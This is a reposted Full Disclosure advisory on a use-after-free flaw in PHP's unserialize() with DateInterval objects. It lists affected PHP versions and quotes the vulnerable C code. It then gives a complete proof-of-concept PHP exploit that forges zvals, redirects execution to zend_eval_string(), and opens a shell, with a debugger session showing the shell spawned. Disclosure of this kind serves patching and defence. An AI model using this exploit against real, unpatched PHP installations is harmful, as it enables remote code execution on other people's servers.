HackDig : Dig high-quality web security articles for hacker

Use After Free Vulnerability in unserialize() with DateInterval

2015-03-21 09:55
#Use After Free Vulnerability in unserialize() with DateInterval

Taoguang Chen <[ () chtg](http://github.com/chtg)> - Write Date:
2015.2.28 - Release Date: 2015.3.20

A use-after-free vulnerability was discovered in unserialize() with DateInterval object's __wakeup() magic method 
that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.


Affected Versions
------------
Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5.3 <= 5.3.29

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
static int php_date_interval_initialize_from_hash(zval **return_value,
php_interval_obj **intobj, HashTable *myht TSRMLS_DC)
{
(*intobj)->diff = timelib_rel_time_ctor();

#define PHP_DATE_INTERVAL_READ_PROPERTY(element, member, itype, def)
do {
zval **z_arg = NULL;
if (zend_hash_find(myht, element, strlen(element) + 1, (void**)
&z_arg) == SUCCESS) {
convert_to_long(*z_arg);
(*intobj)->diff->member = (itype)Z_LVAL_PP(z_arg);
} else {
(*intobj)->diff->member = (itype)def;
}
} while (0);

#define PHP_DATE_INTERVAL_READ_PROPERTY_I64(element, member)
do {
zval **z_arg = NULL;
if (zend_hash_find(myht, element, strlen(element) + 1, (void**)
&z_arg) == SUCCESS) {
convert_to_string(*z_arg);
DATE_A64I((*intobj)->diff->member, Z_STRVAL_PP(z_arg));
} else {
(*intobj)->diff->member = -1LL;
}
} while (0);
```

The convert_to_long()convert_to_string() leads to the ZVAL and all
its children is freed from memory. However the unserialize() code will
still allow to use R: or r: to set references to that already freed
memory. There is a use after free vulnerability, and allows to execute
arbitrary code.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

```
<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "x00x00x00x00";
$fakezval1 .= "x06";
$fakezval1 .= "x00";
$fakezval1 .= "x00x00";

$data1 =
'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:5;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "x6d";
$y[0][1] = "x1e";
$y[0][2] = "x35";
$y[0][3] = "x00";
$y[0][4] = "x01";
$y[0][5] = "x00";
$y[0][6] = "x00";
$y[0][7] = "x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "x00x00x00x00";
$fakezval2 .= "x05";
$fakezval2 .= "x00";
$fakezval2 .= "x00x00";

$data2 =
'a:3:{i:0;O:12:"DateInterval":1:{s:1:"y";a:2:{i:0;i:1;i:1;i:2;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateInterval":1:{s:1:"y";a:1:{i:0;R:5;}}}';

$z = unserialize($data2);

function ptr2str($ptr)
{
$out = "";
for ($i=0; $i<8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

?>
```

Test the PoC on the command line, then any PHP code can be executed:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system('sh')==exit()"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25)
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000)
(lldb)
```

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Source: 041/raM/5102/erusolcsidlluf/gro.stsilces

Read:2265 | Comments:0 | Tags: Vulnerability

“Use After Free Vulnerability in unserialize() with DateInterval”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud